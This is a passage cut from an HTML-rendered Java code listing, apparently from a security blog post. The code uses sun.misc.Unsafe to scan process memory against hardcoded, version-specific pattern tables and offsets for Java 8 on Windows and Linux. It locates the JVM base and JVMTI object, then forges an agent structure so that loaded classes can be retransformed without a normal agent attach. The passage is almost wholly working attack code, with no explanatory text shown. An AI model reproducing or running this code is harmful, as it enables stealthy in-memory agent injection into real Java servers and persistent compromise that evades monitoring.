9;5f7608&#39;,&#39;5300&#39;:&#39;8348&#39;:&#39;105300&#39;,&#39;8f18&#39;:&#39;ff20&#39;:&#39;638f18&#39;,&#39;7600&#39;:&#39;3db0&#39;:&#39;667600&#39;,&#39;92d8&#39;:&#39;6d6d&#39;:&#39;5e92d8&#39;,&#39;8700&#39;:&#39;b200&#39;:&#39;668700&#39;,&#39;45b8&#39;:&#39;a650&#39;:&#39;6645b8&#39;,&#39;8b00&#39;:&#39;82f0&#39;:&#39;668b00&#39;,&#39;1628&#39;:&#39;a5b0&#39;:&#39;631628&#39;,&#39;c298&#39;:&#39;6765&#39;:&#39;7bc298&#39;,&#39;7a28&#39;:&#39;39b0&#39;:&#39;5b7a28&#39;,&#39;3820&#39;:&#39;4808&#39;:&#39;233820&#39;,&#39;dd00&#39;:&#39;c6a0&#39;:&#39;63dd00&#39;,&#39;0be0&#39;:&#39;a5b0&#39;:&#39;630be0&#39;,&#39;aad0&#39;:&#39;8e10&#39;:&#39;7eaad0&#39;,&#39;4a98&#39;:&#39;b7e0&#39;:&#39;674a98&#39;,&#39;4470&#39;:&#39;6100&#39;:&#39;824470&#39;,&#39;6700&#39;:&#39;4de0&#39;:&#39;696700&#39;,&#39;a000&#39;:&#39;3440&#39;:&#39;66a000&#39;,&#39;2080&#39;:&#39;a5b0&#39;:&#39;632080&#39;,&#39;aa20&#39;:&#39;64a0&#39;:&#39;63aa20&#39;,&#39;5a00&#39;:&#39;c933&#39;:&#39;2d5a00&#39;,&#39;85f8&#39;:&#39;4de0&#39;:&#39;5b85f8&#39;,&#39;b440&#39;:&#39;b5a0&#39;:&#39;63b440&#39;,&#39;5d28&#39;:&#39;1b80&#39;:&#39;665d28&#39;,&#39;efd0&#39;:&#39;a5b0&#39;:&#39;62efd0&#39;,&#39;edc8&#39;:&#39;a5b0&#39;:&#39;62edc8&#39;,&#39;ad88&#39;:&#39;b7e0&#39;:&#39;69ad88&#39;,&#39;9468&#39;:&#39;a8b0&#39;:&#39;5b9468&#39;,&#39;af30&#39;:&#39;b650&#39;:&#39;63af30&#39;,&#39;e9e0&#39;:&#39;0780&#39;:&#39;64e9e0&#39;,&#39;7710&#39;:&#39;b2b0&#39;:&#39;667710&#39;,&#39;f528&#39;:&#39;e9e0&#39;:&#39;62f528&#39;,&#39;e100&#39;:&#39;a5b0&#39;:&#39;63e100&#39;,&#39;5008&#39;:&#39;7020&#39;:&#39;665008&#39;,&#39;a4c8&#39;:&#39;a5b0&#39;:&#39;63a4c8&#39;,&#39;6dd8&#39;:&#39;e7a0&#39;:&#39;5c6dd8&#39;,&#39;7620&#39;:&#39;b5a0&#39;:&#39;667620&#39;,&#39;f200&#39;:&#39;0ea0&#39;:&#39;60f200&#39;,&#39;d070&#39;:&#39;d6c0&#39;:&#39;62d070&#39;,&#39;6270&#39;:&#39;a5b0&#39;:&#39;5c6270&#39;,&#39;8c00&#39;:&#39;8350&#39;:&#39;668c00&#39;,&#39;4c48&#39;:&#39;7010&#39;:&#39;664c48&#39;,&#39;3500&#39;:&#39;a5b0&#39;:&#39;633500&#39;,&#39;4f10&#39;:&#39;f100&#39;:&#39;834f10&#39;,&#39;b350&#39;:&#39;b7e0&#39;:&#39;69b350&#39;,&#39;f5d8&#39;:&#39;f280&#39;:&#39;60f5d8&#39;,&#39;bcc0&#39;:&#39;9800&#39;:&#39;60bcc0&#39;,&#39;cd00&#39;:&#39;3440&#39;:&#39;63cd00&#39;,&#39;8a00&#39;:&#39;a1d0&#39;:&#39;5b8a00&#39;,&#39;0218&#39;:&#39;6230&#39;:&#39;630218&#39;,&#39;61a0&#39;:&#39;b7e0&#39;:&#39;6961a0&#39;,&#39;75f8&#39;:&#39;a5b0&#39;:&#39;5f75f8&#39;,&#39;fda8&#39;:&#39;a650&#39;:&#39;60fda8&#39;,&#39;b7a0&#39;:&#39;b7e0&#39;:&#39;69b7a0&#39;,&#39;f120&#39;:&#39;3100&#39;:&#39;81f120&#39;,&#39;ed00&#39;:&#39;8b48&#39;:&#39;4ed00&#39;,&#39;f898&#39;:&#39;b7e0&#39;:&#39;66f898&#39;,&#39;6838&#39;:&#39;2200&#39;:&#39;5f6838&#39;,&#39;e050&#39;:&#39;b5d0&#39;:&#39;63e050&#39;,&#39;bb78&#39;:&#39;86f0&#39;:&#39;60bb78&#39;,&#39;a540&#39;:&#39;b7e0&#39;:&#39;67a540&#39;,&#39;8ab8&#39;:&#39;a650&#39;:&#39;638ab8&#39;,&#39;d2b0&#39;:&#39;b7f0&#39;:&#39;63d2b0&#39;,&#39;1a50&#39;:&#39;a5b0&#39;:&#39;631a50&#39;,&#39;1900&#39;:&#39;a650&#39;:&#39;661900&#39;,&#39;6490&#39;:&#39;3b00&#39;:&#39;836490&#39;,&#39;6e90&#39;:&#39;b7e0&#39;:&#39;696e90&#39;,&#39;9108&#39;:&#39;b7e0&#39;:&#39;679108&#39;,&#39;e618&#39;:&#39;b170&#39;:&#39;63e618&#39;,&#39;6b50&#39;:&#39;6f79&#39;:&#39;5f6b50&#39;,&#39;cdc8&#39;:&#39;4e10&#39;:&#39;65cdc8&#39;,&#39;f700&#39;:&#39;a1d0&#39;:&#39;60f700&#39;,&#39;f803&#39;:&#39;5000&#39;:&#39;60f803&#39;,&#39;ca60&#39;:&#39;b7e0&#39;:&#39;66ca60&#39;,&#39;0000&#39;:&#39;6a80&#39;:&#39;630000&#39;,&#39;64d0&#39;:&#39;a5b0&#39;:&#39;6364d0&#39;,&#39;09d8&#39;:&#39;a5b0&#39;:&#39;6309d8&#39;,&#39;dde8&#39;:&#39;bb50&#39;:&#39;63dde8&#39;,&#39;d790&#39;:&#39;b7e0&#39;:&#39;67d790&#39;,&#39;f398&#39;:&#39;0840&#39;:&#39;64f398&#39;,&#39;4370&#39;:&#39;a5b0&#39;:&#39;634370&#39;,&#39;ca10&#39;:&#39;1c20&#39;:&#39;5cca10&#39;,&#39;9c88&#39;:&#39;b7e0&#39;:&#39;679c88&#39;,&#39;d910&#39;:&#39;a5b0&#39;:&#39;62d910&#39;,&#39;24a0&#39;:&#39;a1d0&#39;:&#39;6324a0&#39;,&#39;a760&#39;:&#39;b880&#39;:&#39;64a760&#39;,&#39;90d0&#39;:&#39;a880&#39;:&#39;5b90d0&#39;,&#39;6d00&#39;:&#39;82f0&#39;:&#39;666d00&#39;,&#39;e6f0&#39;:&#39;a640&#39;:&#39;63e6f0&#39;,&#39;00c0&#39;:&#39;ac00&#39;:&#39;8300c0&#39;,&#39;f6b0&#39;:&#39;b7d0&#39;:&#39;63f6b0&#39;,&#39;1488&#39;:&#39;afd0&#39;:&#39;641488&#39;,&#39;ab80&#39;:&#39;0088&#39;:&#39;7eab80&#39;,&#39;6d40&#39;:&#39;&#39;:&#39;776d40&#39;,&#39;8070&#39;:&#39;1c50&#39;:&#39;668070&#39;,&#39;fe88&#39;:&#39;a650&#39;:&#39;60fe88&#39;,&#39;7ad0&#39;:&#39;a6d0&#39;:&#39;667ad0&#39;,&#39;9100&#39;:&#39;a1d0&#39;:&#39;699100&#39;,&#39;8898&#39;:&#39;4e00&#39;:&#39;5b8898&#39;,&#39;7c78&#39;:&#39;455&#39;:&#39;7a7c78&#39;,&#39;9750&#39;:&#39;ea70&#39;:&#39;5b9750&#39;,&#39;0df0&#39;:&#39;a5b0&#39;:&#39;630df0&#39;,&#39;7bd8&#39;:&#39;a1d0&#39;:&#39;637bd8&#39;,&#39;86b0&#39;:&#39;a650&#39;:&#39;6386b0&#39;,&#39;4920&#39;:&#39;b7e0&#39;:&#39;684920&#39;,&#39;6db0&#39;:&#39;7390&#39;:&#39;666db0&#39;,&#39;abe0&#39;:&#39;86e0&#39;:&#39;63abe0&#39;,&#39;e960&#39;:&#39;0ac0&#39;:&#39;64e960&#39;,&#39;97a0&#39;:&#39;3303&#39;:&#39;5197a0&#39;,&#39;4168&#39;:&#39;a5b0&#39;:&#39;634168&#39;,&#39;ee28&#39;:&#39;b7e0&#39;:&#39;63ee28&#39;,&#39;20d8&#39;:&#39;b7e0&#39;:&#39;6720d8&#39;,&#39;d620&#39;:&#39;b7e0&#39;:&#39;67d620&#39;,&#39;0028&#39;:&#39;1000&#39;:&#39;610028&#39;,&#39;f6e0&#39;:&#39;a650&#39;:&#39;60f6e0&#39;,&#39;a700&#39;:&#39;a650&#39;:&#39;64a700&#39;,&#39;4500&#39;:&#39;a1d0&#39;:&#39;664500&#39;,&#39;8720&#39;:&#39;&#39;:&#39;7f8720&#39;,&#39;8000&#39;:&#39;a650&#39;:&#39;668000&#39;,&#39;fe38&#39;:&#39;b270&#39;:&#39;63fe38&#39;,&#39;be00&#39;:&#39;a5b0&#39;:&#39;63be00&#39;,&#39;f498&#39;:&#39;a650&#39;:&#39;60f498&#39;,&#39;d8c0&#39;:&#39;b3c0&#39;:&#39;63d8c0&#39;,&#39;9298&#39;:&#39;b7e0&#39;:&#39;699298&#39;,&#39;ccd8&#39;:&#39;4de0&#39;:&#39;65ccd8&#39;,&#39;7338&#39;:&#39;cec0&#39;:&#39;5b7338&#39;,&#39;8d30&#39;:&#39;6a40&#39;:&#39;5b8d30&#39;,&#39;4990&#39;:&#39;a5b0&#39;:&#39;634990&#39;,&#39;84f8&#39;:&#39;b220&#39;:&#39;5e84f8&#39;,&#39;cb80&#39;:&#39;bbd0&#39;:&#39;63cb80&#39;&#34;</span>;</span></code><code><span class="code-snippet_outer">        patterns=<span class="code-snippet__string">&#34;&#39;bbf8&#39;:&#39;7d00&#39;:&#39;5fbbf8&#39;,&#39;68f8&#39;:&#39;17e0&#39;:&#39;5e68f8&#39;,&#39;6e28&#39;:&#39;e570&#39;:&#39;5b6e28&#39;,&#39;bd48&#39;:&#39;8e10&#39;:&#39;5fbd48&#39;,&#39;4620&#39;:&#39;9ff0&#39;:&#39;5c4620&#39;,&#39;ca70&#39;:&#39;19f0&#39;:&#39;5bca70&#39;&#34;</span>; <span class="code-snippet__comment">//for windows_java8_301_x64</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//patterns=&#34;&#39;8b80&#39;:&#39;8f10&#39;:&#39;ef8b80&#39;,&#39;9f20&#39;:&#39;0880&#39;:&#39;f05f20&#39;,&#39;65e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;4f20&#39;:&#39;b880&#39;:&#39;f05f20&#39;,&#39;7300&#39;:&#39;8f10&#39;:&#39;ef7300&#39;,&#39;aea0&#39;:&#39;ddd0&#39;:&#39;ef8ea0&#39;,&#39;1f20&#39;:&#39;8880&#39;:&#39;f05f20&#39;,&#39;8140&#39;:&#39;8f10&#39;:&#39;ef8140&#39;,&#39;75e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;6f20&#39;:&#39;d880&#39;:&#39;f05f20&#39;,&#39;adb8&#39;:&#39;ddd0&#39;:&#39;ef8db8&#39;,&#39;ff20&#39;:&#39;6880&#39;:&#39;f05f20&#39;,&#39;55e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;cf20&#39;:&#39;3880&#39;:&#39;f05f20&#39;,&#39;05e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;92d8&#39;:&#39;96d0&#39;:&#39;eff2d8&#39;,&#39;8970&#39;:&#39;8f10&#39;:&#39;ef8970&#39;,&#39;d5e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;8e70&#39;:&#39;4350&#39;:&#39;ef6e70&#39;,&#39;d2d8&#39;:&#39;d6d0&#39;:&#39;eff2d8&#39;,&#39;d340&#39;:&#39;bf00&#39;:&#39;f05340&#39;,&#39;f340&#39;:&#39;df00&#39;:&#39;f05340&#39;,&#39;2f20&#39;:&#39;9880&#39;:&#39;f05f20&#39;,&#39;1be0&#39;:&#39;d8b0&#39;:&#39;f6fbe0&#39;,&#39;8758&#39;:&#39;c2a0&#39;:&#39;ef6758&#39;,&#39;c340&#39;:&#39;af00&#39;:&#39;f05340&#39;,&#39;f5e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;c5e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;b2d8&#39;:&#39;b6d0&#39;:&#39;eff2d8&#39;,&#39;02d8&#39;:&#39;06d0&#39;:&#39;eff2d8&#39;,&#39;ad88&#39;:&#39;ddb0&#39;:&#39;ef8d88&#39;,&#39;62d8&#39;:&#39;66d0&#39;:&#39;eff2d8&#39;,&#39;7b20&#39;:&#39;3d50&#39;:&#39;ef7b20&#39;,&#39;82d8&#39;:&#39;86d0&#39;:&#39;eff2d8&#39;,&#39;0f20&#39;:&#39;7880&#39;:&#39;f05f20&#39;,&#39;9720&#39;:&#39;8f10&#39;:&#39;f69720&#39;,&#39;7c80&#39;:&#39;5850&#39;:&#39;ef5c80&#39;,&#39;25e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;32d8&#39;:&#39;36d0&#39;:&#39;eff2d8&#39;,&#39;e340&#39;:&#39;cf00&#39;:&#39;f05340&#39;,&#39;ec80&#39;:&#39;c850&#39;:&#39;ef5c80&#39;,&#39;85e0&#39;:&#39;add0&#39;:&#39;6f65e0&#39;,&#39;9410&#39;:&#39;c030&#39;:&#39;ef9410&#39;,&#39;5f20&#39;:&#39;c880&#39;:&#39;f05f20&#39;,&#39;1340&#39;:&#39;ff00&#39;:&#39;f05340&#39;,&#39;b340&#39;:&#39;9f00&#39;:&#39;f05340&#39;,&#39;7340&#39;:&#39;5f00&#39;:&#39;f05340&#39;,&#39;35e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;3f20&#39;:&#39;a880&#39;:&#39;f05f20&#39;,&#39;8340&#39;:&#39;6f00&#39;:&#39;f05340&#39;,&#39;4340&#39;:&#39;2f00&#39;:&#39;f05340&#39;,&#39;0340&#39;:&#39;ef00&#39;:&#39;f05340&#39;,&#39;22d8&#39;:&#39;26d0&#39;:&#39;eff2d8&#39;,&#39;e5e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;95e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;19d0&#39;:&#39;d830&#39;:&#39;f6f9d0&#39;,&#39;52d8&#39;:&#39;56d0&#39;:&#39;eff2d8&#39;,&#39;c420&#39;:&#39;b810&#39;:&#39;efc420&#39;,&#39;b5e0&#39;:&#39;ddd0&#39;:&#39;ef95e0&#39;,&#39;c2d8&#39;:&#39;c6d0&#39;:&#39;eff2d8&#39;,&#39;5340&#39;:&#39;3f00&#39;:&#39;f05340&#39;,&#39;df20&#39;:&#39;4880&#39;:&#39;f05f20&#39;,&#39;15e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;a2d8&#39;:&#39;a6d0&#39;:&#39;eff2d8&#39;,&#39;9340&#39;:&#39;7f00&#39;:&#39;f05340&#39;,&#39;8070&#39;:&#39;add0&#39;:&#39;ef9070&#39;,&#39;f2d8&#39;:&#39;f6d0&#39;:&#39;eff2d8&#39;,&#39;72d8&#39;:&#39;76d0&#39;:&#39;eff2d8&#39;,&#39;6340&#39;:&#39;4f00&#39;:&#39;f05340&#39;,&#39;2340&#39;:&#39;0f00&#39;:&#39;f05340&#39;,&#39;3340&#39;:&#39;1f00&#39;:&#39;f05340&#39;,&#39;b070&#39;:&#39;ddd0&#39;:&#39;ef9070&#39;,&#39;45e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;8d20&#39;:&#39;add0&#39;:&#39;ef9d20&#39;,&#39;6180&#39;:&#39;8d90&#39;:&#39;ef6180&#39;,&#39;8f20&#39;:&#39;f880&#39;:&#39;f05f20&#39;,&#39;8c80&#39;:&#39;6850&#39;:&#39;ef5c80&#39;,&#39;a5e0&#39;:&#39;4855&#39;:&#39;6f65e0&#39;,&#39;ef20&#39;:&#39;5880&#39;:&#39;f05f20&#39;,&#39;8410&#39;:&#39;b030&#39;:&#39;ef9410&#39;,&#39;b410&#39;:&#39;e030&#39;:&#39;ef9410&#39;,&#39;bf20&#39;:&#39;2880&#39;:&#39;f05f20&#39;,&#39;e2d8&#39;:&#39;e6d0&#39;:&#39;eff2d8&#39;,&#39;bd20&#39;:&#39;ddd0&#39;:&#39;ef9d20&#39;,&#39;12d8&#39;:&#39;16d0&#39;:&#39;eff2d8&#39;,&#39;9928&#39;:&#39;8f10&#39;:&#39;f69928&#39;,&#39;9e28&#39;:&#39;8f10&#39;:&#39;f69e28&#39;,&#39;4c80&#39;:&#39;2850&#39;:&#39;ef5c80&#39;,&#39;7508&#39;:&#39;8f10&#39;:&#39;ef7508&#39;,&#39;1df0&#39;:&#39;d940&#39;:&#39;f6fdf0&#39;&#34;; //for linux_java8_301_x64</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> jvmtiOffset=<span class="code-snippet__number">0x79a220</span>; <span class="code-snippet__comment">//for java_8_271_x64</span></span></code><code><span class="code-snippet_outer">        jvmtiOffset=<span class="code-snippet__number">0x78a280</span>; <span class="code-snippet__comment">//for windows_java_8_301_x64</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//jvmtiOffset=0xf9c520; //for linux_java_8_301_x64</span></span></code><code><span class="code-snippet_outer">        List&lt;Map&lt;String, String&gt;&gt; patternList = <span class="code-snippet__keyword">new</span> ArrayList&lt;Map&lt;String, String&gt;&gt;();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (String pair : patterns.split(<span class="code-snippet__string">&#34;,&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            String offset = pair.split(<span class="code-snippet__string">&#34;:&#34;</span>)[<span class="code-snippet__number">0</span>].replace(<span class="code-snippet__string">&#34;&#39;&#34;</span>, <span class="code-snippet__string">&#34;&#34;</span>).trim();</span></code><code><span class="code-snippet_outer">            String <span class="code-snippet__keyword">value</span> = pair.split(<span class="code-snippet__string">&#34;:&#34;</span>)[<span class="code-snippet__number">1</span>].replace(<span class="code-snippet__string">&#34;&#39;&#34;</span>, <span class="code-snippet__string">&#34;&#34;</span>).trim();</span></code><code><span class="code-snippet_outer">            String delta = pair.split(<span class="code-snippet__string">&#34;:&#34;</span>)[<span class="code-snippet__number">2</span>].replace(<span class="code-snippet__string">&#34;&#39;&#34;</span>, <span class="code-snippet__string">&#34;&#34;</span>).trim();</span></code><code><span class="code-snippet_outer">            Map pattern = <span class="code-snippet__keyword">new</span> HashMap&lt;String, String&gt;();</span></code><code><span class="code-snippet_outer">            pattern.put(<span class="code-snippet__string">&#34;offset&#34;</span>, offset);</span></code><code><span class="code-snippet_outer">            pattern.put(<span class="code-snippet__string">&#34;value&#34;</span>, <span class="code-snippet__keyword">value</span>);</span></code><code><span class="code-snippet_outer">            pattern.put(<span class="code-snippet__string">&#34;delta&#34;</span>, delta);</span></code><code><span class="code-snippet_outer">            patternList.<span class="code-snippet__keyword">add</span>(pattern);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> offset = <span class="code-snippet__number">8</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> targetHexLength=<span class="code-snippet__number">8</span>; <span class="code-snippet__comment">//on linux,change it to 12.</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> j = <span class="code-snippet__number">0</span>; j &lt; <span class="code-snippet__number">0x2000</span>; j++)  <span class="code-snippet__comment">//down search</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> x : <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">int</span>[]{<span class="code-snippet__number">-1</span>, <span class="code-snippet__number">1</span>}) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">long</span> target = <span class="code-snippet__keyword">unsafe</span>.getAddress(allocateMemory + j * x * offset);</span></code><code><span class="code-snippet_outer">                String targetHex = Long.toHexString(target);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (target % <span class="code-snippet__number">8</span> &gt; <span class="code-snippet__number">0</span> || targetHex.length() != targetHexLength) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (targetHex.startsWith(<span class="code-snippet__string">&#34;a&#34;</span>) || targetHex.startsWith(<span class="code-snippet__string">&#34;b&#34;</span>) || targetHex.startsWith(<span class="code-snippet__string">&#34;c&#34;</span>) || targetHex.startsWith(<span class="code-snippet__string">&#34;d&#34;</span>) || targetHex.startsWith(<span class="code-snippet__string">&#34;e&#34;</span>) || targetHex.startsWith(<span class="code-snippet__string">&#34;f&#34;</span>) || targetHex.endsWith(<span class="code-snippet__string">&#34;00000&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;[-]start get &#34;</span> + Long.toHexString(allocateMemory + j * x * offset) + <span class="code-snippet__string">&#34;,at:&#34;</span> + Long.toHexString(target) + <span class="code-snippet__string">&#34;,j is:&#34;</span> + j);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> (Map&lt;String, String&gt; patternMap : patternList) {</span></code><code><span class="code-snippet_outer">                    targetHex = Long.toHexString(target);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (targetHex.endsWith(patternMap.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;offset&#34;</span>))) {</span></code><code><span class="code-snippet_outer">                        String targetValueHex = Long.toHexString(<span class="code-snippet__keyword">unsafe</span>.getAddress(target));</span></code><code><span class="code-snippet_outer">                        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;[!]bingo.&#34;</span>);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (targetValueHex.endsWith(patternMap.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;value&#34;</span>))) {</span></code><code><span class="code-snippet_outer">                            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;[ok]i found agent env:start get &#34;</span> + Long.toHexString(target) + <span class="code-snippet__string">&#34;,at  :&#34;</span> + Long.toHexString(<span class="code-snippet__keyword">unsafe</span>.getAddress(target)) + <span class="code-snippet__string">&#34;,j is:&#34;</span> + j);</span></code><code><span class="code-snippet_outer">                            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;[ok]jvm base is &#34;</span> + Long.toHexString(target - Integer.parseInt(patternMap.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;delta&#34;</span>), <span class="code-snippet__number">16</span>)));</span></code><code><span class="code-snippet_outer">                            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;[ok]jvmti object addr is &#34;</span> + Long.toHexString(target - Integer.parseInt(patternMap.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;delta&#34;</span>), <span class="code-snippet__number">16</span>) + jvmtiOffset));</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__comment">//long jvmenvAddress=target-Integer.parseInt(patternMap.get(&#34;delta&#34;),16)+0x776d30;</span></span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">long</span> jvmtiAddress = target - Integer.parseInt(patternMap.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;delta&#34;</span>), <span class="code-snippet__number">16</span>) + jvmtiOffset;</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">long</span> agentAddress = getAgent(jvmtiAddress);</span></code><code><span class="code-snippet_outer">                            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;agentAddress:&#34;</span> + Long.toHexString(agentAddress));</span></code><code><span class="code-snippet_outer">                            Bird bird = <span class="code-snippet__keyword">new</span> Bird();</span></code><code><span class="code-snippet_outer">                            bird.sayHello();</span></code><code><span class="code-snippet_outer">                            doAgent(agentAddress);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__comment">//doAgent(Long.parseLong(address));</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            bird.sayHello();</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__title">getAgent</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">long</span> jvmtiAddress</span>)</span> {</span></code><code><span class="code-snippet_outer">        Unsafe <span class="code-snippet__keyword">unsafe</span> = getUnsafe();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> agentAddr = <span class="code-snippet__keyword">unsafe</span>.allocateMemory(<span class="code-snippet__number">0x200</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> jvmtiStackAddr = <span class="code-snippet__keyword">unsafe</span>.allocateMemory(<span class="code-snippet__number">0x200</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(jvmtiStackAddr, jvmtiAddress);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(jvmtiStackAddr + <span class="code-snippet__number">8</span>, <span class="code-snippet__number">0x30010100000071ee</span>l);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(jvmtiStackAddr + <span class="code-snippet__number">0x168</span>, <span class="code-snippet__number">0x9090909000000200</span>l);</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;long:&#34;</span> + Long.toHexString(jvmtiStackAddr + <span class="code-snippet__number">0x168</span>));</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr, jvmtiAddress - <span class="code-snippet__number">0x234f0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x8</span>, jvmtiStackAddr);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x10</span>, agentAddr);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x18</span>, <span class="code-snippet__number">0x00730065006c0000</span>l);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//make retransform env</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x20</span>, jvmtiStackAddr);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x28</span>, agentAddr);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x30</span>, <span class="code-snippet__number">0x0038002e00310001</span>l);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x38</span>, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x40</span>, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x48</span>, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x50</span>, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x58</span>, <span class="code-snippet__number">0x0072007400010001</span>l);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x60</span>, agentAddr + <span class="code-snippet__number">0x68</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">unsafe</span>.putLong(agentAddr + <span class="code-snippet__number">0x68</span>, <span class="code-snippet__number">0x0041414141414141</span>l);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> agentAddr;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span 